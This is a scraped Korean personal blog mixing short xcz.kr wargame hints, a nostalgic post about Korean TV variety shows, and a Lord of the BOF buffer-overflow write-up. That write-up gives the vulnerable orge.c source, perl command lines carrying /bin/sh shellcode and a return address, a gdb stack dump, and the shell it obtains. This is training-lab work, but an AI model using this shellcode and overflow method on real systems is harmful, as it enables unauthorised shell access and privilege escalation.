다운로드ㄱㄱ 제목이 풀이방법을 알려주네요..
구글에 칩니다.
'STUDY > xcz.kr' 카테고리의 다른 글
xcz.kr Prob 17 (0) | 2013.11.28 |
---|---|
xcz.kr Prob 14 (0) | 2013.11.28 |
xcz.kr Prob 10 (2) | 2013.11.28 |
xcz.kr Prob 8 (0) | 2013.11.28 |
xcz.kr Prob 7 (0) | 2013.11.28 |
다운로드ㄱㄱ 제목이 풀이방법을 알려주네요..
xcz.kr Prob 17 (0) | 2013.11.28 |
---|---|
xcz.kr Prob 14 (0) | 2013.11.28 |
xcz.kr Prob 10 (2) | 2013.11.28 |
xcz.kr Prob 8 (0) | 2013.11.28 |
xcz.kr Prob 7 (0) | 2013.11.28 |
10번 문제 풀이입니다.
그러고 열어보니.. 어? 저기 중간쯤에 뭐 이상한게 있네요.
음 근데 카페에서 써놨던 글에는 아스키값이 10진수가 아니었었다고 했는데 기억이 잘 안나는데 음 뭐 여러분들이 알아서 찾아 풀으실꺼라고 믿습니다(ㅋ)
xcz.kr Prob 14 (0) | 2013.11.28 |
---|---|
xcz.kr Prob 11 (3) | 2013.11.28 |
xcz.kr Prob 8 (0) | 2013.11.28 |
xcz.kr Prob 7 (0) | 2013.11.28 |
xcz.kr Prob 3 (2) | 2013.11.28 |
이당시 풀이를 폰으로 써서 스샷이 빈약한것은 양해부탁드립니다ㅋㅋ
문제8입니다.
구글은 우리의 친구에요. 흔한단어를 찾아보세요 :)
대충 감이 오실겁니다.
다운받아보니 cw(추측:common word의 줄임말) 폴더속에 이미지 5장이 있군요. 아래는 그 이미지들입니다.
구글하면 이미지 검색이죠.
구글이미지 검색으로 풀 수 있습니다~
xcz.kr Prob 11 (3) | 2013.11.28 |
---|---|
xcz.kr Prob 10 (2) | 2013.11.28 |
xcz.kr Prob 7 (0) | 2013.11.28 |
xcz.kr Prob 3 (2) | 2013.11.28 |
xcz.kr Prob 2 (0) | 2013.11.28 |
7번문제입니다.
워드를 열고 -> 삽입 -> 사진 -> what.eps 파일
xcz.kr Prob 11 (3) | 2013.11.28 |
---|---|
xcz.kr Prob 10 (2) | 2013.11.28 |
xcz.kr Prob 8 (0) | 2013.11.28 |
xcz.kr Prob 3 (2) | 2013.11.28 |
xcz.kr Prob 2 (0) | 2013.11.28 |
xcz.kr Prob 11 (3) | 2013.11.28 |
---|---|
xcz.kr Prob 10 (2) | 2013.11.28 |
xcz.kr Prob 8 (0) | 2013.11.28 |
xcz.kr Prob 7 (0) | 2013.11.28 |
xcz.kr Prob 2 (0) | 2013.11.28 |
우선 귀기울여 들어보라고 했으니 들어봅시다.
xcz.kr Prob 11 (3) | 2013.11.28 |
---|---|
xcz.kr Prob 10 (2) | 2013.11.28 |
xcz.kr Prob 8 (0) | 2013.11.28 |
xcz.kr Prob 7 (0) | 2013.11.28 |
xcz.kr Prob 3 (2) | 2013.11.28 |
"1995년 2월 26일에 신설된 프로그램으로써, 대한민국의 지상파 방송국 KBS 2TV에서 매주 일요일 오후 4시 55분부터 오후 7시 55분까지 방송되는 버라이어티쇼 프로그램이다." <위키백과>
저는 여걸 5와 6를 열심히 봤던 기억이 나기 때문에.. (거기 게임들.. 쥐를잡자 쥐를잡자 찍찍찍과 디비디비딥이 기억나네요.. 한동안 정말 좋아했었는데..) 아무래도 꽤나 초반부터 보았나봅니다ㅋㅋ 아직도 게임이 기억나는거 보면.. 열혈팬이었죠ㅎㅎ 거의 매번 보았습니다!! 쥐를 잡자 쥐를 잡자 찍찍찍~♬
날아라 슛돌이도 제 또래들이 나오고 게다가 그당시에 축구도 좋아했던지라 한번 꼭 들어가보고 싶다! 했었죠ㅋㅋ
하이파이브도 흥미롭게 본 기억이 나고.. 농사?하는 거였던걸로 기억나는데 이게 맞는지.. 근데 오늘 쓰고 싶은 주제는 1박 2일에 대한거에요. "《1박 2일》은 2007년 8월 5일부터 대한민국 KBS 2TV에서 방송되는 버라이어티 쇼로, 리얼 야생 로드 버라이어티를 모토로 대한민국 각지를 돌아 다니면서 1박 2일 동안 다양한 체험을 하는 프로그램이다."<위키백과> 요즘 1박 2일은 시즌 3가 나온다는 얘기를 들었습니다.ㅠㅠ 그래도 1박2일이 종영은 안해서 좋은데.. 그야말로 처음 1박2일이 시작할때부터 보았던 저로써는 점점 존재감이 없어지는게 슬프네요.. 모로코에서, KBS World로 하는 프로그램은 1박2일이 가장 재미있어서 늘 아침 8시에 일어나 보았던 기억이 납니다ㅠ 상근이랑, MC몽, 이수근, 은지원, 강호동, 김C, 그리고 이승기.. 그때 동영상을 그때 보니 멤버들의 변한 모습이 신기하기도 하고 저도 참 그동안 많은 시간이 흘렀구나 느끼기도 하네요. 수많은 복불복과, 혹한기 캠프, 낙오, 벌칙, 퀴즈... 그동안 본 프로그램 중에서 가장 기억에 남습니다ㅋㅋ 언젠가 시청자투어도 꼭 참여하고 싶었는데, 그립네요ㅠㅠㅠㅠㅠ 나PD도 떠나고.. 하지만 새로 방영되는 시즌3도 잘 되길 바랍니다 :) 제 경우처럼 추억을 만들어주는 프로그램이 되었으면 좋겠어요! 그리고 남자의 자격은 아직도 하나요?ㅋㅋ 그거 합창이 정말 매력있고 가슴에 남는데.. 다시 보고싶네요
(아 감성돋아! ;ㅁ;)
그리고 잊어버리기엔 너무 아까운 예능들 몇개 더 적어볼께요ㅋㅋ
쟁반노래방: 쟁반노래방으로 노래 엄청 배웠습니다ㅋㅋㅋㅋㅋ 옛날노래같은거.. 정말 쟁반이 아파보였죠ㅠㅠ 꾸왕 소리나던데.. 숟가락뽑기가 인상적이었어요! 쨜랑쨜랑~ 그리고 찬스도 기억나네요ㅋㅋ
천하무적야구단: ㅋㅋㅋㅋㅋ이건 제가 '야동'이라는 단어를 배운 시초였습니다. 그땐 '야동'이 야구동영상이라는 말을 믿어버리고 다른뜻은 없는줄 할고 엄마한테 "야동이 뭐~게!"라고 했다가 엄마가 "야한 동영상?"이래서 "아냐! 야구동영상이야~" 라고 했던 기억이 납니다ㅋㅋㅋㅋㅋㅋㅋㅋㅋ 그당시엔 야한게 뭔뜻인지도 몰랐는데 말이죠..
상상플러스: 이게 우리말에 대한 거였나? 그런 프로그램이었죠. 정말 재미있게 봤는지라 이런 프로그램 더 있었으면 좋겠어요. "공부하세요!"하며 머리를 치는게 매력포인트였죠ㅋㅋ 그리고 탁재훈의 "나 나나나 나나나나나 나 쏴~!" 이런 프로그램 덕에 문법도 많이 배울 수 있었던것 같아요.
패밀리가 떴다: 이 프로그램은 많이 보지는 않았지만 한동안 열심히 보았었는데 가족같은 분위기랑 가끔은 티격태격하는것 떄문에 본 것 같아요ㅋㅋ 덤엔더머와.. 연예인들의 소소한? 모습도 볼 수 있었던것 같아서 좋았어요!!
가족오락관: 뭔가 모두 기억나지는 않지만 엄청 많은 종류들의 게임을 했던게 기억나네요ㅋㅋ 네이버에 찾아보니 1984년부터 진행된 방송이었네요! 저는 후반에 가서 본듯 하지만 즐겁게 봤던 기억이 나요. 멤버도 많고, 모르는 사람도 많았지만 소소한 게임들을 많이 했던 기억이 나네요~
지금은 런닝맨을 보고 있다죠.. 다른 예능들과는 또 다른 매력이 있는 것 같아요ㅋㅋ
2014년! (0) | 2014.01.04 |
---|---|
xcz.kr 풀이를 다 옮겨왔다! (0) | 2013.11.28 |
Phonebloks- A phone worth keeping (1) (0) | 2013.11.02 |
Phonebloks- A phone worth keeping (0) | 2013.09.16 |
크래커와 해커의 차이 (0) | 2013.09.15 |
[darkelf@localhost darkelf]$ cat orge.c
/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){ //argv[0], 즉 (프로그램명)입력값이 77보다 작으면 에러가 납니다.
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
[darkelf@localhost darkelf]$ .`perl -e 'print "/"x72, "orgi"'` `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x90"x21,"\xc0\xfb\xff\xbf"'//우선은 프로그램명 길이를 77로 맟추고 공격시도
j
X?Rh//shh/bin??S?訴?????????????????????적
Segmentation fault (core dumped)
[darkelf@localhost darkelf]$ gdb -q orgi core
Core was generated by `.////////////////////////////////////////////////////////////////////////orgi j'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0xbffffff7 in ?? ()
(gdb) x/50wx $esp
0xbffffa10: 0x00000000 0xbffffa54 0xbffffa60 0x40013868
0xbffffa20: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffffa30: 0x08048500 0x00000002 0xbffffa54 0x08048390
0xbffffa40: 0x0804866c 0x4000ae60 0xbffffa4c 0x40013e90
0xbffffa50: 0x00000002 0xbffffb52 0xbffffba0 0x00000000
0xbffffa60: 0xbffffbd1 0xbffffbe3 0xbffffbfa 0xbffffc19
0xbffffa70: 0xbffffc3b 0xbffffc48 0xbffffe0b 0xbffffe2a
0xbffffa80: 0xbffffe47 0xbffffe5c 0xbffffe7b 0xbffffe86
0xbffffa90: 0xbffffe9e 0xbffffeae 0xbffffeb6 0xbffffec0
0xbffffaa0: 0xbffffed0 0xbffffede 0xbffffeec 0xbffffefd
0xbffffab0: 0xbfffff08 0xbfffff1b 0xbfffff5e 0x00000000
0xbffffac0: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffad0: 0x00000005 0x00000006
(gdb)
0xbffffad8: 0x00000006 0x00001000 0x00000007 0x40000000
0xbffffae8: 0x00000008 0x00000000 0x00000009 0x08048450
0xbffffaf8: 0x0000000b 0x000001fa 0x0000000c 0x000001fa
0xbffffb08: 0x0000000d 0x000001fa 0x0000000e 0x000001fa
0xbffffb18: 0x00000010 0x0febfbff 0x0000000f 0xbffffb4d
0xbffffb28: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb38: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb48: 0x00000000 0x38366900 0x2f2e0036 0x2f2f2f2f
0xbffffb58: 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f
0xbffffb68: 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f
0xbffffb78: 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f
0xbffffb88: 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f 0x2f2f2f2f
0xbffffb98: 0x6f2f2f2f 0x00696772
(gdb)
0xbffffba0:0x99580b6a 0x2f2f6852 0x2f686873 0x896e6962
0xbffffbb0:0x895352e3 0x9080cde1 0x90909090 0x90909090
0xbffffbc0: 0x90909090 0x90909090 0x90909090 0xbffffbc0
0xbffffbd0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffbe0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffbf0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc00: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc10: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc20: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc30: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc50: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc60: 0x00000000 0x00000000
(gdb) quit
[darkelf@localhost darkelf]$ .`perl -e 'print "/"x72, "orgi"'` `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x90"x21,"\xa0\xfb\xff\xbf"'` //제대로 된 리턴어드레스를 넣고 공격.
j
X?Rh//shh/bin??S?訴???????????????????????
bash$ exit
exit
[darkelf@localhost darkelf]$ .`perl -e 'print "/"x72, "orge"'` `perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80", "\x90"x21,"\xa0\xfb\xff\xbf"'`
j
X?Rh//shh/bin??S?訴???????????????????????
bash$ my-pass
euid = 507
하하♥
시험공부하겠다며 소셜미디어를 끊고..
엘오비를 하고있네요!!!!!!!!! 이게뭐야!!!!!!!!
NOTES:
argv[0]=절대경로
./는 //가 몇개있어도 상관없다
.이랑 orgi=5
77-5=72
페이로드는 전단계것을 씀
그런데 쉘코드가 저장되는 곳은 어디일까? 버퍼가 아닌데
troll->vampire (0) | 2013.12.22 |
---|---|
orge->troll (0) | 2013.12.21 |
wolfman->darkelf (0) | 2013.11.21 |
orc->wolfman (0) | 2013.11.21 |
goblin->orc (0) | 2013.11.20 |